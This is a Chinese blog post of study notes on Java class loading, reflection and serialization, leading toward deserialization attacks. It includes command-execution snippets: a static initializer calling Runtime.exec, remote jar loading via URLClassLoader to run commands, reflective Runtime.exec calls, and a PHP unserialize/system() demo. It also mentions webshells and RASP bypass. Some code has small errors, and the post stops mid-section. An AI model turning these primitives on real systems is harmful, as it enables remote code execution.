前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Java 反序列化学习

Java 反序列化学习

作者头像
wywwzjj
发布2023-05-09 14:39:08
1.3K0
发布2023-05-09 14:39:08
举报

Class Loader

Java虚拟机类加载机制
Java虚拟机类加载机制

讲的比较清楚的文章:https://www.cnblogs.com/ityouknow/p/5603287.html

类与类加载器

对于任何一个类,都需要由加载它的类加载器和这个类来确立其在JVM中的唯一性。也就是说,两个类来源于同一个Class文件,并且被同一个类加载器加载,这两个类才相等。

类加载机制

当一个类加载器接收到类加载请求时,会先请求其父类加载器加载,依次向上,当父类加载器无法找到该类时(根据类的全限定名称),子类加载器才会尝试去加载。

补充:有继承关系的执行优先顺序。

代码语言:javascript
复制
父类的静态代码块->子类的静态代码块->父类的代码块->父类构造函数->子类代码块->子类构造函数

类加载方式

  • 命令行启动应用时候由JVM初始化加载
  • 通过 Class.forName() 方法动态加载
  • 通过 ClassLoader.loadClass() 方法动态加载

Class.forName() 和 ClassLoader.loadClass() 区别

  • Class.forName():将类的.class文件加载到jvm中之外,还会对类进行解释,执行类中的static块;
  • ClassLoader.loadClass():只干一件事情,就是将.class文件加载到jvm中,不会执行static中的内容,只有在newInstance才会去执行 static 块。
  • Class.forName(name, initialize, loader)带参函数也可控制是否加载static块。并且只有调用了newInstance() 方法采用调用构造函数,创建类的对象 。

假设有这么个函数的参数可控,那就可以通过类加载利用。

代码语言:javascript
复制
public void foo(String name) throws Exception {
	Class.forName(name);
}
代码语言:javascript
复制
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

值得注意的是某些时候我们获取一个类的类加载器时候可能会返回一个null值,如:java.io.File.class.getClassLoader()将返回一个null对象,因为java.io.File类在JVM初始化的时候会被Bootstrap ClassLoader(引导类加载器)加载,我们在尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null

ClassLoader 类有如下核心方法:

  • loadClass:加载指定的Java类
  • findClass:查找指定的Java类
  • findLoadedClass:查找JVM已经加载过的类
  • defineClass:定义一个Java类
  • resolveClass:链接指定的Java类
代码语言:javascript
复制
// 反射加载 TestHelloWorld
Class.forName("com.TestHelloWorld");

// ClassLoader 加载 TestHelloWorld
this.getClass().getClassLoader().loadClass("com.TestHelloWorld");

ClassLoader加载com.TestHelloWorld类重要流程如下:

  1. ClassLoader会调用public Class<?> loadClass(String name)方法加载com.TestHelloWorld类。
  2. 调用findLoadedClass方法检查TestHelloWorld类是否已经初始化,如果 JVM 已初始化过该类则直接返回类对象。
  3. 如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestHelloWorld类,否则使用JVM的Bootstrap ClassLoader加载。
  4. 如果上一步无法加载TestHelloWorld类,那么调用自身的findClass方法尝试加载TestHelloWorld类。
  5. 如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的com.anbai.sec.classloader.TestHelloWorld类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。
  6. 如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。
  7. 返回一个被JVM加载后的java.lang.Class类对象。

利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测。

代码语言:javascript
复制
package top.wywwzjj.demo;

import java.lang.reflect.Method;

public class TestClassLoader extends ClassLoader {

    // TestHelloWorld类名
    private static final String testClassName = "com.anbai.sec.classloader.TestHelloWorld";

    // TestHelloWorld类字节码,也可以直接读文件
    private static final byte[] testClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
            16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
            1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
            101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
            114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
            32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
            115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
            116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
            0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
            1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
            0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
            0, 0, 0, 2, 0, 12
    };

    public static void main(String[] args) {
        // 创建自定义的类加载器
        TestClassLoader loader = new TestClassLoader();

        try {
            // 使用自定义的类加载器加载TestHelloWorld类
            Class testClass = loader.loadClass(testClassName);

            // 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
            Object testInstance = testClass.newInstance();

            // 反射获取hello方法
            Method method = testInstance.getClass().getMethod("hello");

            // 反射调用hello方法,等价于 String str = t.hello();
            String str = (String) method.invoke(testInstance);

            System.out.println(str);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 只处理TestHelloWorld类
        if (name.equals(testClassName)) {
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
        }

        return super.findClass(name);
    }
}

URLClassLoader

URLClassLoader 既可以加载远程类库,也可以加载本地路径的类库,取决于构造器中不同的地址形式。

ExtensionClassLoader、AppClassLoader 是 URLClassLoader 的子类,都是从本地文件系统里加载类库。

URLClassLoader继承了ClassLoaderURLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。

URLClassLoader 提供了这个功能,它让我们可以通过以下几种方式进行加载:

  • 文件:从文件系统目录加载
  • jar包:从Jar包进行加载
  • Http:从远程的Http服务进行加载

特别注意:当加载的类文件和当前目录下的类文件名一致时,优先调用当前目录下的类文件。

代码语言:javascript
复制
package top.wywwzjj.demo;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader {

    public static void main(String[] args) {
        try {
            // 定义远程加载的jar路径
            URL[] urls = new URL("https://cmd.jar");

            // 创建URLClassLoader对象,并加载远程jar包
            URLClassLoader ucl = new URLClassLoader(urls);

            // 定义需要执行的系统命令
            String cmd = "ls";

            // 通过URLClassLoader加载远程jar包中的CMD类
            Class cmdClass = ucl.loadClass("CMD");

            // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

            // 获取命令执行结果的输入流
            InputStream in = process.getInputStream();
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int a = -1;

            // 读取命令执行结果
            while ((a = in.read(b)) != -1) {
                byteArrayOutputStream.write(b, 0, a);
            }

            // 输出命令执行结果
            System.out.println(byteArrayOutputStream.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

jar

代码语言:javascript
复制
import java.io.IOException;

public class CMD {
    // CMD.exec
    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }
}

Java 反射

Class类

在程序运行期间,Java 运行时系统始终为所有的对象维护一个被称为运行时的类型标识,这些信息跟踪着每个对象所属的类。

虚拟机可以利用运行时类型信息选择对应的方法执行。保存这些信息的类被称为 Class,该类实际是一个泛型类。

除了int等基本类型外,Java的其他类型全部都是class(包括interface)。

Java 反射是 Java 非常重要的动态特性,通过使用反射我们不仅可以获取到任何类的成员方法 Methods、成员变量Fields、构造方法 Constructors 等信息,还可以动态创建 Java 类实例、调用任意的类方法、修改任意的类成员变量值等。

Java 反射机制也是 Java 的各种框架底层实现的灵魂,利用反射机制我们可以轻松的实现 Java 类的动态调用。

  • 运行时判断任一个对象所属的类
  • 运行时构造任一个类的对象
  • 运行时判断任一个类所具有的成员变量和方法(private)
  • 运行时调用任一个对象的方法(private)
  • 运行时分析类的能力
  • 运行时查看对象
  • 实现通用的数组操作代码
  • 利用 Method 对象,这个对象很像 C++ 中的函数指针

Java 反射在编写漏洞利用代码、代码审计、绕过 RASP 方法限制等中起到了至关重要的作用。

获取Class对象

代码语言:javascript
复制
java.lang.Runtime.class;  // 类名.class
Class.forName("java.lang.Class");  // 已知类名,需传入包名
obj.getClass();  // 已知对象 obj 的 class

// 这三种方式获取的`Class`实例都是同一个实例,因为JVM对每个加载的`Class`只创建一个`Class`实例来表示它的类型。

ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime")  //类加载

获取数组类型的 Class 对象需要特殊注意,需要使用 Java 类型的描述符方式,如下:

代码语言:javascript
复制
Class<?> doubleArray = Class.forName("[D");					  // 相当于 double[].class
Class<?> cStringArray = Class.forName("[[Ljava.lang.String"); // 相当于 String[][].class

描述符

Java类型

示例

B

byte

B

C

char

C

D

double

D

F

float

F

I

int

I

J

long

J

S

short

S

Z

boolean

Z

[

数组

[IJ

L类名;

引用类型对象

Ljava/lang/Object;

获取 Runtime 类 Class 对象:

代码语言:javascript
复制
String className = "java.lang.Runtime";
Class runtimeClass1 = Class.forName(className);
Class runtimeClass2 = java.lang.Runtime.class;
Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);

通过以上任意一种方式就可以获取java.lang.Runtime类的Class对象了。

反射调用内部类的时候需要使用 来代替 .,如 com.example.Test 类有一个叫做 Hello 的内部类,那么调用的时候就应该将类名写成:com.example.TestHello。

代码语言:javascript
复制
class Test {
    class Hello {
    }
}

常用方法

判断对象是否为某个类的实例

代码语言:javascript
复制
Class.forName("java.lang.Class").isInstance(obj);

反射创建实例

通过Class实例获取Constructor的方法如下:

  • getConstructor(Class...):获取某个publicConstructor
  • getDeclaredConstructor(Class...):获取某个Constructor
  • getConstructors():获取所有publicConstructor
  • getDeclaredConstructors():获取所有Constructor

注意Constructor总是当前类定义的构造方法,和父类无关,因此不存在多态的问题。

调用非publicConstructor时,必须首先通过setAccessible(true)设置允许访问。

代码语言:javascript
复制
String tt = String.class.newInstance();  // 只能调用该类的无参构造函数

String tt = String.class.getConstructor(String.class).newInstance("2333");  // 指定方法
=> String tt = "2333";

调用Class.newInstance()的局限是,它只能调用该类的public无参数构造方法。如果构造方法带有参数,或者不是public,就无法直接通过Class.newInstance()来调用。

反射调用方法

Class对象提供了一个获取某个类的所有的成员方法的方法,也可以通过方法名和方法参数类型来获取指定成员方法。

获取当前类的所有Method 不包括父类

代码语言:javascript
复制
Method[] methods = clazz.getDeclaredMethods();

获取所有public的Method 包括父类

代码语言:javascript
复制
Method[] methods = clazz.getMethods();

获取当前类的某个Method 不包括父类

代码语言:javascript
复制
Method getDeclaredMethod(name, Class...)
Method method = clazz.getDeclaredMethod("test", String.class);

获取某个public的Method 包括父类

代码语言:javascript
复制
Method getMethod(name, Class...)
Method method = clazz.getMethod("test", String.class);

反射调用方法

获取到java.lang.reflect.Method对象以后我们可以通过Methodinvoke方法来调用类方法。

代码语言:javascript
复制
method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);

method.invoke的第一个参数必须是类实例对象,如果调用的是static方法那么第一个参数值可以传null,因为在java中调用静态方法是不需要有类实例的,因为可以直接类名.方法名(参数)的方式调用。

method.invoke的第二个参数不是必须的,如果当前调用的方法没有参数,那么第二个参数可以不传,如果有参数那么就必须严格的依次传入对应的参数类型

代码语言:javascript
复制
// Runtime.class.getMethod("exec", String.class)
//		  .invoke(Runtime.class.getMethod("getRuntime").invoke(null), "whoami")
Class<?> rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime");
Method ex = rt.getMethod("exec", String.class);
Process process = (Process) ex.invoke(gr.invoke(null, new Object[]{}), "calc.exe");

// 输出执行结果
Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
System.out.print(op);

// 调用方法时忽略权限检查
gr.setAccessible(true);

反射操作成员变量

对任意的一个Object实例,只要我们获取了它的Class,就可以获取它的一切信息。

我们先看看如何通过Class实例获取字段信息。Class类提供了以下几个方法来获取字段:

  • Field getField(name):根据字段名获取某个public的field(包括父类)
  • Field getDeclaredField(name):根据字段名获取当前类的某个field(不包括父类)
  • Field[] getFields():获取所有public的field(包括父类)
  • Field[] getDeclaredFields():获取当前类的所有field(不包括父类)
代码语言:javascript
复制
// 获取指定方法,需要指定参数 class 类型,例如 String.class,遇到可变长参数当成数组即可
public Method getMethod(String name, Class<?>...parameterTypes)

// 获取所有 public 方法,包括继承的
public Method[] getMethods() throws SecurityException

// 获取声明的所有方法,包括公共、保护、私有、默认方法,不包括继承的方法
public Method[] getDeclaredMethods() throws SecurityException

getFiled();  // 公有成员变量,同样有 getFileds...
getDeclaredFiled();  // 所有声明的成员变量,但不能得到其父类的成员信息

获取当前类的所有成员变量:

代码语言:javascript
复制
Field fields = clazz.getDeclaredFields();

获取当前类指定的成员变量:

代码语言:javascript
复制
Field field  = clazz.getDeclaredField("变量名");

getFieldgetDeclaredField的区别同getMethodgetDeclaredMethod

获取成员变量值:

代码语言:javascript
复制
Object obj = field.get(类实例对象);

修改成员变量值:

代码语言:javascript
复制
field.set(类实例对象, 修改后的值);

同理,当我们没有修改的成员变量权限时可以使用: field.setAccessible(true)的方式修改为访问成员变量访问权限。

Java反射不但可以获取类所有的成员变量名称,还可以无视权限修饰符实现修改对应的值。

如果我们需要修改被final关键字修饰的成员变量,那么我们需要先修改方法。

代码语言:javascript
复制
// 反射获取Field类的modifiers
Field modifiers = field.getClass().getDeclaredField("modifiers");

// 设置modifiers修改权限
modifiers.setAccessible(true);

// 修改成员变量的Field对象的modifiers值
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);

// 修改成员变量值
field.set(类实例对象, 修改后的值);

获得继承关系

获取父类的Class

代码语言:javascript
复制
public class Main {
    public static void main(String[] args) throws Exception {
        Class i = Integer.class;
        Class n = i.getSuperclass();
        System.out.println(n);
        Class o = n.getSuperclass();
        System.out.println(o);
        System.out.println(o.getSuperclass());
    }
}

获取interface

由于一个类可能实现一个或多个接口,通过Class我们就可以查询到实现的接口类型。例如,查询Integer实现的接口:

代码语言:javascript
复制
public class Main {
    public static void main(String[] args) throws Exception {
        Class s = Integer.class;
        Class[] is = s.getInterfaces();
        for (Class i : is) {
            System.out.println(i);
        }
    }
}

继承关系

当我们判断一个实例是否是某个类型时,正常情况下,使用instanceof操作符:

代码语言:javascript
复制
Object n = Integer.valueOf(123);
boolean isDouble = n instanceof Double; // false
boolean isInteger = n instanceof Integer; // true
boolean isNumber = n instanceof Number; // true
boolean isSerializable = n instanceof java.io.Serializable; // true

如果是两个Class实例,要判断一个向上转型是否成立,可以调用isAssignableFrom()

代码语言:javascript
复制
// Integer i = ?
Integer.class.isAssignableFrom(Integer.class); // true,因为Integer可以赋值给Integer
// Number n = ?
Number.class.isAssignableFrom(Integer.class); // true,因为Integer可以赋值给Number
// Object o = ?
Object.class.isAssignableFrom(Integer.class); // true,因为Integer可以赋值给Object
// Integer i = ?
Integer.class.isAssignableFrom(Number.class); // false,因为Number不能赋值给Integer

反射执行命令

不反射:

代码语言:javascript
复制
System.out.println(IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(), "UTF-8"));
代码语言:javascript
复制
// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");

// 获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);

// 创建Runtime类示例,等价于 Runtime rt = new Runtime();
Object runtimeInstance = constructor.newInstance();

// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);

// 调用exec方法,等价于 rt.exec(cmd);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);

// 获取命令执行结果
InputStream in = process.getInputStream();

// 输出命令执行结果
System.out.println(IOUtils.toString(in, "UTF-8"));

动态代理

Java 反射提供了一种类动态代理机制,可以通过代理接口实现类来完成程序无侵入式扩展。

主要使用场景:

  1. 统计方法执行所耗时间。
  2. 在方法执行前后添加日志。
  3. 检测方法的参数或返回值。
  4. 方法访问权限控制。
  5. 方法Mock测试。
代码语言:javascript
复制
package top.wywwzjj;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Map;

public class DynamicInvocationHandler implements InvocationHandler {
    /*
     * proxy:被代理的对象
     * method:对应于在代理实例上调用的接口方法的 Method 实例
     * args:包含传入代理实例上方法调用的参数值的对象数组,如果接口方法不使用参数,则为 null。
     */
    
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) {
        System.out.printf("Invoked method: %s\n", method.getName());
        return 42;
    }

    public static void main(String[] args) {
        Map proxyMap = (Map) Proxy.newProxyInstance(
                DynamicInvocationHandler.class.getClassLoader(), // 指定动态代理类的类加载器
                new Class[]{Map.class},  // 定义动态代理生成的类实现的接口
                new DynamicInvocationHandler());  // 动态代理处理类
        
		Object obj = proxyMap.get("2");
        System.out.println(obj);
    }
}

// Run:
Invoked method: get
42

动态编译

代码语言:javascript
复制
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
int res = compiler.run(null, null, null, "E:/MyJava/HelloWorld.java");
System.out.println(res == 0 ? "编译成功" : "编译失败");

// 直接调用
Process process = Runtime.getRuntime().exec("java -cp E:/MyJava HelloWorld");

// 反射加载类
URL[] urls = new URL[]{new URL("file:/" + "E:/MyJava/")};
URLClassLoader loader = new URLClassLoader(urls);
Class c = loader.loadClass("HelloWorld");
Method m = c.getMethod("main", String[].class);  // 调用加载类的 main 方法
m.invoke(null, (Object) new String[]{});

脚本引擎执行js代码

代码语言:javascript
复制
ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("js");
engine.eval("var test = '233'");

序列化

将对象转换成一个字节流,后续能利用这个字节流还原成对象的另一个拷贝状态。

java.io.Serializable 是一个空的接口,我们不需要实现任何方法,代码如下:

代码语言:javascript
复制
public interface Serializable {
}

实现一个空接口有什么意义?其实实现java.io.Serializable接口仅仅只用于标识这个类可序列化

java.io.ObjectOutputStream 类

  • 将序列化的数据写入 OutputStream
  • writeObject、writeChar、writeShort、writeUTF……

java.io.ObjectInputStream

  • 从 InputStream 中读取序列化的数据
  • readObject、readChar、readShort、readUTF……

几个注意点:

1、在 Java 中,只要一个类实现了 java.io.Serializable 接口,那么它就可以被序列化。

2、通过 ObjectOutputStreamObjectInputStream 对对象进行序列化及反序列化

3、虚拟机是否允许反序列化,不仅取决于类路径和功能代码是否一致,一个非常重要的一点是两个类的序列化 ID 是否一致(就是 private static final long serialVersionUID

4、序列化并不保存静态变量。

5、要想将父类对象也序列化,就需要让父类也实现 Serializable 接口。

6、Transient 关键字的作用是控制变量的序列化,在变量声明前加上该关键字,可以阻止该变量被序列化到文件中,在被反序列化后,transient 变量的值被设为初始值,如 int 型的是 0,对象型的是 null。

7、服务器端给客户端发送序列化对象数据,对象中有一些数据是敏感的,比如密码字符串等,希望对该密码字段在序列化时,进行加密,而客户端如果拥有解密的密钥,只有在客户端进行反序列化时,才可以对密码进行读取,这样可以一定程度保证序列化对象的数据安全。

反序列化必须拥有class文件,但随着项目的升级,class文件也会升级,序列化怎么保证升级前后的兼容性呢?

java序列化提供了一个private static final long serialVersionUID 的序列化版本号,只有版本号相同,即使更改了序列化属性,对象也可以正确被反序列化回来。

如果可序列化类未显式声明 serialVersionUID,则序列化运行时将基于该类的各个方面计算该类的默认值。

writeObject & readObject

https://docs.oracle.com/javase/8/docs/api/

从文档可知,需要在序列化和反序列化过程中做特别自定义处理的Class,必须实现以下的方法:

PS:一些数据结构复杂一点的类往往会有自定义序列化、反序列化过程的需求。

代码语言:javascript
复制
private void writeObject(java.io.ObjectOutputStream out)
     throws IOException
 private void readObject(java.io.ObjectInputStream in)
     throws IOException, ClassNotFoundException;
 private void readObjectNoData()
     throws ObjectStreamException;

writeObject 方法负责为其特定的类写下对象的状态,以便相应的 readObject 方法可以恢复它。保存对象字段的默认机制可以通过调用 out.defaultWriteObject 来调用。该方法不需要关注属于其超类或子类的状态。状态的保存是通过使用 writeObject 方法将各个字段写入 ObjectOutputStream 或者使用 DataOutput 支持的原始数据类型的方法。

readObject 方法负责从流中读取并恢复类的字段。它可以调用 in.defaultReadObject 来调用默认机制来恢复对象的非静态和非瞬时字段。defaultReadObject 方法使用流中的信息,将保存在流中的对象的字段与当前对象中相应的命名字段进行分配。这就处理了类发展到添加新字段的情况。该方法不需要关注属于其超类或子类的状态。状态的保存是通过使用 writeObject 方法将各个字段写入 ObjectOutputStream 或者使用 DataOutput 支持的原始数据类型的方法。

readObjectNoData 方法负责在序列化流没有将给定的类列为被反序列化的对象的超类的情况下,为其特定的类初始化对象的状态。这可能发生在接收方使用与发送方不同版本的反序列化实例的类,而接收方的版本扩展了发送方的版本没有扩展的类。如果序列化流被篡改,也可能发生这种情况;因此,尽管有 “敌对的 “或不完整的源流,readObjectNoData 对于正确初始化反序列化的对象还是很有用的。

具体的实现在 ObjectStreamClass 类中,用反射判断用户有无自定义了这几个 private 函数,若有就存起来。

代码语言:javascript
复制
 /**
  * Creates local class descriptor representing given class.
  */
private ObjectStreamClass(final Class<?> cl) {
    if (serializable) {
    	AccessController.doPrivileged(new PrivilegedAction<Void>() {
    
        writeObjectMethod = getPrivateMethod(cl, "writeObject",
            new Class<?>[] { ObjectOutputStream.class },
            Void.TYPE);
        readObjectMethod = getPrivateMethod(cl, "readObject",
            new Class<?>[] { ObjectInputStream.class },
            Void.TYPE);
        readObjectNoDataMethod = getPrivateMethod(
            cl, "readObjectNoData", null, Void.TYPE);
            hasWriteObjectData = (writeObjectMethod != null);
        }
}

Demo

代码语言:javascript
复制
public class Person implements Serializable {
    public String pubName;
    private String priName;

    public Person(String name1, String name2) {
        pubName = name1;
        priName = name2;
    }

    private void writeObject(java.io.ObjectOutputStream out) throws IOException {
        // 在序列化数据流中添加自定义的数据
        out.writeObject("test for writeObject");
        out.defaultWriteObject();
    }

    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        // 读出之前存入的自定义数据
        String s = (String) in.readObject();
        System.out.println(s);
        in.defaultReadObject();
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person = new Person("name1", "name2");
        String resPath = "person.txt";

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(resPath));
        oos.writeObject(person);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(resPath));
        Object obj = ois.readObject();
        ois.close();

        person = (Person) obj;
        System.out.println(person);
    }
    
    @Override
    public String toString() {
        System.out.println("call toString");
        return pubName + " : " + priName;
    }
}

运行结果:

代码语言:javascript
复制
test for writeObject
call toString
name1 : name2

序列化结果

PHP 的序列化结果可读性要好一些。

代码语言:javascript
复制
<?php

class Person {
    public $pubName = "name1";
    private $priName = "name2";
	
    public function __destruct() {
        system($this->pubName);
    }
    
    public function getPriName() {
        return $this->priName;
    }
}

$p1 = new Person;
$p1->pubName = "whoami";

$p->test();  // __call
$p();  // __invoke

$res = serialize($p1);

// server
$input = $_GET[1];

$p2 = unserialize($input);
代码语言:javascript
复制
// PHP 7.4
O:6:"Person":2:{s:7:"pubName";s:5:"name1";s:15:"PersonpriName";s:5:"name2";}

Java 测试代码:

代码语言:javascript
复制
public class Persaon implements Serializable {
    public String pubName;
    private String priName;

    public Persaon(String name1, String name2) {
        pubName = name1;
        priName = name2;
    }

    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        System.out.println("call readObject");
        // in.defaultReadObject();
    }
    
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Persaon persaon = new Persaon("name1", "name2");
        String resPath = "person.txt";

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(resPath));
        oos.writeObject(persaon);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(resPath));
        Object obj = ois.readObject();
        persaon = (Persaon) obj;
        System.out.println(persaon);
        ois.close();
    }
}

调用栈:

代码语言:javascript
复制
readObject:15, Persaon (top.wywwzjj)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2256, ObjectInputStream (java.io)
readOrdinaryObject:2147, ObjectInputStream (java.io)
readObject0:1646, ObjectInputStream (java.io)
readObject:482, ObjectInputStream (java.io)
readObject:440, ObjectInputStream (java.io)
main:28, Persaon (top.wywwzjj)

Java 是个二进制流:

查看序列化流的工具:SerializationDumper、msf-java_deserializer

比较 Jar 包:https://github.com/GraxCode/cafecompare

代码语言:javascript
复制
00000000: aced 0005 7372 0013 746f 702e 7779 7777  ....sr..top.wyww
00000010: 7a6a 6a2e 5065 7273 616f 6e9e c19f 8faa  zjj.Persaon.....
00000020: 0a9b a502 0002 4c#00 07#70 7269 4e61 6d65  ......L..priName
00000030: 7400 12#4c 6a61 7661 2f6c 616e 672f 5374  t..Ljava/lang/St
00000040: 7269 6e67 3b#4c 0007 7075 624e 616d 6571  ring;L..pubNameq
00000050: 007e 0001 #7870 7400 056e 616d 6532 7400  .~..xpt..name2t.
00000060: 056e 616d 6531                           .name1

0xaced,STREAM_MAGIC,魔术头

0x0005,STREAM_VERSION,版本号

0x73,TC_OBJECT,对象类型标识 0x7n基本上都定义了类型标识符常量,但也要看出现的位置,毕竟它们都在可见字符的范围,详见java.io.ObjectStreamConstants

0x72,TC_CLASSDESC,类描述符标识

0x0013...,类名字符串长度和值 (Java序列化中的UTF8格式标准)

0x9ec19f8faa0a9ba5,serialVersionUID,序列版本唯一标识 serialVersionUID,简称SUID)

0x02,SC_SERIALIZABLE,对象的序列化属性标志位,如是否是Block Data模式、自定义writeObject()SerializableExternalizableEnum类型等

0x0002,类的字段个数

0x4c,开始遍历类的字段。

0x4c000770...,字段名字符串长度和值,非原始数据类型的字段还会在后面加上数据类型标识、完整类型签名长度和值,如之后的0x740012...

0x4c6a6176612f6c616e672f537472696e673b 表示 Ljava/lang/String,即 String 类的引用类型。

这里还用 newHandle 做了复用,以减少体积,具体实现在 writeTypeString 函数中。

代码语言:javascript
复制
out.writeShort(fields.length);

for (int i = 0; i < fields.length; i++) {
    ObjectStreamField f = fields[i];
    out.writeByte(f.getTypeCode());
    out.writeUTF(f.getName());
    if (!f.isPrimitive()) {
        out.writeTypeString(f.getTypeString());
    }
}

0x7e0000,baseWireHandle,用于缓存字段的类型信息。

0x78,TC_ENDBLOCKDATA,Block Data结束标识

0x70,TC_NULL,父类描述符标识,此处为null

0x74,TC_STRING,表示字符串类型。

0x0005,字符串长度。

0x6e616d6532,即 name2。

0x74,TC_STRING,表示字符串类型。

0x0005,字符串长度。

0x6e616d6531,即 name1。

代码语言:javascript
复制
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 19 - 0x00 13
        Value - top.wywwzjj.Persaon - 0x746f702e777977777a6a6a2e50657273616f6e
      serialVersionUID - 0x9e c1 9f 8f aa 0a 9b a5
      newHandle 0x00 7e 00 00
      classDescFlags - 0x02 - SC_SERIALIZABLE
      fieldCount - 2 - 0x00 02
      Fields
        0:
          Object - L - 0x4c
          fieldName
            Length - 7 - 0x00 07
            Value - priName - 0x7072694e616d65
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
        1:
          Object - L - 0x4c
          fieldName
            Length - 7 - 0x00 07
            Value - pubName - 0x7075624e616d65
          className1
            TC_REFERENCE - 0x71
              Handle - 8257537 - 0x00 7e 00 01
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 02
    classdata  // depth = 1?
      top.wywwzjj.Persaon
        values
          priName
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 03
                Length - 5 - 0x00 05
                Value - name2 - 0x6e616d6532
          pubName
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 04
                Length - 5 - 0x00 05
                Value - name1 - 0x6e616d6531

readObject vs __wakeup

readObject:负责从流中读取并恢复类的字段。

__wakeup:

